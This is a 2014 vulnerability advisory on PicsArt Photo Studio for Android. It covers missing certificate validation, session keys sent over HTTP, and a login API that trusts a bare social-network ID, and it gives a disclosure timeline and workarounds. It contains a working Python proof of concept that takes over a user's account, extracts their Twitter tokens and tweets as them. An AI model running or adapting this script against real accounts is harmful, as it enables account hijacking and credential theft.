PicsArt Photo Studio For Android Insecure Management

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Fundación Dr. Manuel Sadosky - Programa STIC Advisory  
http://www.fundacionsadosky.org.ar  
  
Insecure management of login credentials in PicsArt Photo Studio for  
Android  
  
1. *Advisory Information*  
  
Title: Insecure management of login credentials in PicsArt Photo  
Studio for Android  
Advisory ID: STIC-2014-0426  
Advisory URL: http://www.fundacionsadosky.org.ar/publicaciones-2  
Date published: 2014-11-06  
Date of last update: 2014-11-06  
Vendors contacted: PicsArt  
Release mode: Unilateral release  
  
2. *Vulnerability Information*  
  
Class: Improper Certificate Validation [CWE-295], Insufficiently  
Protected Credentials [CWE-522]  
Impact: Data loss  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Identifier: CVE-2014-5674, CVE-2014-NOCVE  
  
3. *Vulnerability Description*  
  
PicsArt Photo Studio is a free and full featured photo-editing and  
drawing mobile app available on Android, iOS and Windows Phone. As of  
October, 2014 the Android version of the app had between 100 and 500  
million downloads from the Google Play store. According to the vendor  
the app has been installed more than 175 million times, has a 7  
million monthly growth and more than 45 million monthly active  
users[1]. Users can take, edit, publish and share photos on the  
PicsArt website and on popular social networks such as Facebook,  
Twitter and Google+ directly from the mobile app.  
  
Originally the PicsArt application for Android[2] did not use HTTPS to  
send security-sensitve information to the servers, allowing attackers  
to hijack PicsArt user accounts simply by capturing network traffic.  
After our original report to the vendor in May 2014, the app started  
using HTTPS but it does not validate the server's SSL certificate,  
allowing an attacker to perform Man-In-The-Middle attacks. PicsArt  
user accounts can still be hijacked by capturing the user id sent as  
value of the 'key' parameter in certain HTTPS GET requests.  
  
Additionally, a user can sign up to PicsArt using her Facebook,  
Twitter or Google+ account or using a standard email and password  
scheme. When the user signs up using a third party social network  
account, the user ID and access token obtained from those social  
networks are sent to the PicsArt servers to identify the user during  
the login phase.  
  
This implies that the PicsArt servers, not just the PicsArt Photo  
Studio application running on thte user's device, can impersonate the  
user on the social networks. However the PicsArt server API does not  
verify if the user's Google+, Facebook or Twitter access token is  
valid during the login of the Android application. As a result, an  
attacker can send a login request providing only a social network ID  
to obtain the PicsArt's credentials associated to that  
Google+/Facebook/Twitter user. This allows the attacker to obtain  
access to any user account created from a social network account. The  
attacker can also steal access tokens of PicsArt users to third party  
social networks such as Facebook, Twitter, Google+, etc. This issue  
affects all PicsArt user's who access their account via  
Google+/Facebook/Twitter.  
  
4. *Vulnerable packages*  
  
. PicsArt Photo Studio for Android application prior or equal to  
version 4.6.12 and greater than 4.6.3 uses HTTPS but does not validate  
the SSL server certificate.  
. PicsArt Photo Studio for Android application prior to version  
4.6.3 and greater than 4.2.2 uses both HTTP and HTTPS and does not  
validate the SSL server certificate.  
. PicsArt Photo Studio for Android application prior to version  
4.2.2 does not use HTTPS to receive and transmit security sensitive data.  
  
5. *Vendor Information, Solutions and Workarounds*  
  
After the initial report to the vendor, PicsArt released version  
4.2.2. This version started using HTTPS for most, but not all, of the  
server API. Since 4.6.3 there are no API methods that leak the user's  
session key using HTTP. Adding HTTPS communication to the server in  
4.2.2 didn't help fixing the problem since the application lacks of  
certificate validation allowing Man-in-the-Middle attacks. Despite  
several notifications sent to PicsArt, the last version (4.6.12, as of  
publication of this advisory) is still missing proper certificate  
validation checks.  
  
The server API is still missing the validation of the login access  
token.  
  
A workaround to prevent attackers from compromising a PicsArt user's  
Facebook, Twitter or Google+ account is to disable the PicsArt  
application access to their profile. From Facebook or Twitter go to  
"Settings|App" and remove PicsArt application from the list of apps.  
For Google+ go to "Account|Security|Apps and websites" and click on  
revoke access on PicsArt application.  
  
PicsArt users concerned about their privacy or the security of their  
account should stop using the Andorid application until patches with  
proper SSL certificate validation are issued by the vendor nad the  
Server APIs fixed.  
  
  
6. *Credits*  
This vulnerability was discovered and researched by Joaquín Manuel  
Rinaudo. The publication of this advisory was coordinated by Programa  
de Seguridad en TIC.  
Will Dormann of CERT/CC independently discovered the SSL certificate  
validation vulnerability using the CERT Tapioca tool.[5]  
  
7. *Technical Description*  
  
A user can sign up to PicsArt using her Facebook[3], Twitter[4] or  
Google+ account or using a standard email and password scheme.  
When a user signs using a social network, the PicsArt application  
uses the OAuth protocol to communicate with that site.  
If the user authorizes it, the PicSart application is provided with  
an access token from either Facebook, Twitter or Google+ that can be  
used to retrieve personal information or perform actions on behalf of  
that user.  
  
The application then uploads the access token to the PicsArt servers  
along with the ID of that user so that the server can create a new  
account associated to the user. Up to PicsArt version 4.2.2, this  
communication was done entirely over HTTP. An attacker capturing the  
request to 'http://api.picsart.com/users/signin.json' could retrieve  
the access token of Facebook, Twittter and Google+ as well as hijack  
the session token of PicsArt for that user. After our report to  
PicsArt, use of HTTPS was introduced by the vendor in version 4.6.3 in  
an attempt to prevent man-in-the-middle attacks as well as session  
hijacking. Unfortunately, adoption of HTTPS did not fix the problems.  
  
In version of the PicsArt Photo Studio app that use HTTPS, the  
socket object used to perform the secure connection uses a custom  
X509TrustManager. The TrustManager's task is to check the certificate  
presented by the server in order to prevent Man-in-the-Middle attacks.  
The class 'com.socialin.android.util.w' sets the default  
SSLsocketFactory used in the application to an empty TrustManager and  
the default HostnameVerifier to a dummy one. Because of that, any  
certificate presented by the server will be considered valid. This  
allows an attacker to mount a MITM attack intercepting traffic,  
creating fake X509 certificates on the fly and submitting them to  
PicsArt's Android application.  
  
Moreover, up to version 4.6.3 some requests performed by the  
application were still obtained using HTTP. For example, when a user  
opens the application, a request over HTTP to  
'https://api.picsart.com/users/show/me.json' to obtain user  
information. Since requests that contains the user key as a parameter  
like this are being sent to the server, session hijacking is possible  
by simply capturing traffic. This was fixed in the version 4.6.3.  
  
Additional problems were found by inspecting how the PicsArt Photo  
Studio app uses the server API. When a user logs in with a social  
network account using the Android application, a HTTP POST request  
containing the user's access token and other information such as his  
name, user name, mail and a user identifier for the social network is  
sent to the PicsArt servers. The server API doesn't verify whether the  
access token provided is valid for an already created account and  
responds with the user key associated to the provided social network  
ID. This allows an attacker to obtain access to other user's PicsArt  
account by just knowing their user name on third party social networks.  
  
An attacker can also obtain the user's access tokens to third party  
social networks linked to their profile by requesting the user's  
profile information using the key provided in the previously described  
step. For example, if a user's has her Twitter account linked to her  
PicsArt account, the server's response to the profile information will  
contain the user's OAUTH_TOKEN and OAUTH_TOKEN_SECRET for Twitter.  
Since the Android's PicsArt application contains the APP_KEY and  
APP_SECRET embedded in the client code, an attacker has all the  
information needed to impersonate the client app and obtain access to  
a user's Twitter. Since the application has read and write permissions  
in that social network, an attacker could perform status updates.  
similar attacks are possible on other social networks such as Facebook  
and Google+.  
  
  
A sample proof-of-concept Python script to demonstrate that, knowing  
only a PicsArt user's Twitter ID, it is possible to retrieve the  
user's key from the PicsArt server API, use it get the user's access  
token for Twitter and then tweet with her/his account is shown below:  
  
  
/-----  
import sys  
import urllib  
import urllib2  
from twython import Twython  
import json  
import traceback  
  
APP_KEY='<PICSART APP APPKEY>'  
APP_SECRET='<PICSART APP SECRET>'  
OAUTH_TOKEN=''  
OAUTH_TOKEN_SECRET=''  
  
def obtain_key(twitter_id):  
url = 'https://api.picsart.com/users/signin.json'  
only_twitter_id =  
'''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}'''  
%twitter_id  
data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter'  
req = urllib2.Request(url, data)  
response = urllib2.urlopen(req)  
jsonobject = json.loads(response.read())  
return jsonobject['key']  
  
def obtain_twitter_token(key):  
url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key  
response = urllib2.urlopen(url)  
data = json.loads(response.read())  
print data  
global OAUTH_TOKEN  
OAUTH_TOKEN = data['response'][0]['token']  
global OAUTH_TOKEN_SECRET  
OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret']  
  
def post_on_twitter():  
twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET)  
print twitter.verify_credentials()  
twitter.update_status(status='Using twitter!')  
  
if __name__ == '__main__':  
if len(sys.argv) < 1:  
print "No Twitter ID specified"  
exit(0)  
userKey =obtain_key(sys.argv[1])  
print "User key for accessing user's Picsart account is %s" %userKey  
try:  
obtain_twitter_token(userKey)  
post_on_twitter()  
except:  
traceback.print_exc()  
print "Failed accessing user's Twitter account"  
pass  
  
  
- -----/  
  
  
8. *Report Timeline*  
  
. 2014-05-05:  
Programa de Seguridad en TIC sent the vendor a description of the  
vulnerabilities found: the improper server validation of access tokens  
and the use of unencrypted HTTP communication with the server.  
  
. 2014-05-07:  
PicsArt indicated that the problems where already known and that due  
to previous technical problems the application had switched temporary  
to HTTP but that the new release, 4.2.2, HTTPS would be back.  
  
. 2014-05-07:  
The researcher communicated to PicsArt about having inspected the  
updated app and that although the communication was HTTPS, certificate  
validation was missing. Furthermore, Programa de Seguridad en TIC  
communicated the vendor that the improper validation of the login  
process was still an issue. The vendor was informed about a tentative  
date for May 21st set for publishing the advisory.  
  
. 2014-06-05:  
After receiving no response, Programa de Seguridad en TIC asked  
PicsArt about plans to fix the issues discussed.  
  
. 2014-06-05:  
PicsArt notified that they were releasing a version into beta with  
fixed security and other features but with no explanation as to what  
was being fixed.  
  
. 2014-09-11:  
Programa de Seguridad en TIC added the Computer Emergency Response  
Team to the conversation since they had also identified and notified  
PicsArt of the SSL certificate validation bug as part of their CERT  
TAPIOCA project [5].  
  
. 2014-09-11:  
Vendor assured that a new release (4.6.3) was being deployed where  
the user key was not being transmitted over HTTP in version and that  
they were testing new bug fixes.  
  
. 2014-09-16:  
Programa de Seguridad en TIC asked for an estimated release of the  
application and informed to the vendor that the application was using  
an external library to implement their client side API transport ([6])  
and this was one of the sources for the problem of not validating the  
certificates properly since they were explicitly calling library  
methods for skipping the validation process.  
  
. 2014-09-17:  
Vendor sent the researcher a new beta version where the external  
library wasn't instructed to avoid validating certificates.  
  
. 2014-09-18:  
Programa de Seguridad en TIC notified that the server validation and  
the HTTPS vulnerabilities were still unfixed. The latter was because  
the application was still defining the default SSLSocketFactory and  
HostnameVerifier in an insecure way. Researcher pointed the vendor to  
the class originating this definitions.  
  
  
. 2014-11-06:  
Advisory was released.  
  
9. *References*  
  
[1] About PicsArt.  
http://picsart.com/about  
[2] PicsArt Photo Studio.  
https://play.google.com/store/apps/details?id=com.picsart.studio  
[3] Facebook Login for Android.  
https://developers.facebook.com/docs/android/login-with-facebook/v2.2  
[4] Sign in with Twitter.  
https://dev.twitter.com/web/sign-in  
[5] Vulnerability Note VU#582497. Multiple Android applications fail  
to properly validate SSL certificates.  
http://www.kb.cert.org/vuls/id/582497  
[6] Java HTTP Request Library.  
https://github.com/kevinsawicki/http-request  
  
10. *About Fundación Dr. Manuel Sadosky*  
  
The Dr. Manuel Sadosky Foundation is a mixed (public / private)  
institution whose goal is to promote stronger and closer interaction  
between industry and the scientific-technological system in all  
aspects related to Information and Communications Technology (ICT) in  
Argentina.  
The Foundation was formally created by a Presidential Decree in 2009.  
Its Chairman is the Minister of Science, Technology, and Productive  
Innovation of Argentina; and the Vice-chairmen are the chairmen of the  
country’s most important ICT chambers: The Software and Computer  
Services Chamber (CESSI) and the Argentine Computing and  
Telecommunications Chamber (CICOMRA).  
  
For more information visit: http://www.fundacionsadosky.org.ar  
  
11. *Copyright Notice*  
  
The contents of this advisory are copyright (c) 2014 Fundación Sadosky  
and are licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 4.0 License:  
http://creativecommons.org/licenses/by-nc-sa/4.0/  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG/MacGPG2 v2.0.17 (Darwin)  
Comment: GPGTools - http://gpgtools.org  
  
iQIcBAEBAgAGBQJUW/dQAAoJEOAj8IJkRx2rMMIP/jmXfqUubbtNOxVe3cqT/g0q  
TUgqSM15qoG7ODUo3Q7KLiVxwA5QZNvNTI9HltQdaZcEVMYjPUpsKiqHtwG5kAAH  
7mqY33JFLX6AWowpyg1XWoV+k1xfCalSsG8lS86AAQftA00W/z+xlz3Y8YK042c2  
txlHZIYc9mIhF0zYzlIiXjObGSnFJmS4824HlzHrWgNv96C42V81/u9MnLx3bimq  
2aypHQ9cgBq4YlcijO4iWjjD4qX/0XWe4ZWxX0u9yHghpC3Dpt8Zevj2HRM1cbQW  
KvVhXDzu+wotS3rl9c5K6TGH1VHs5jq+Iyh/wfj/gHTWs0QyciIuGw9TUWgyOS5c  
ugIZhlZyOMnidFABuHKrWGaOr1x8v2vL2j5Hx4sTq3SHVTa/zmdv5VtG7wOyEpU4  
JmfocdUqa5nzexvFMRrYVDYWVVymtcDmZb0MQmyCxpNQ3WYrGdl4Q/retQv5ehLq  
L6IqQ6wV6r/p7yy3R43lPsvLpAqJBA7prJRbLzF2C8p/KcOAGXPucdAdrn0KSujN  
9zaj8UfuxW1KUd5JuO1RML+DQm9O+uS0AisN+MCZebpfwB6yvUT6p+EFV145OLkg  
wtn87rrVwISgDlnaMNFN08df0c72vBfCgJT6ou1DJU03BzOId/XNwY/3+WeB93/c  
sxW+D89GUViflpiWGP9B  
=uVaS  
-----END PGP SIGNATURE-----  
  
  
`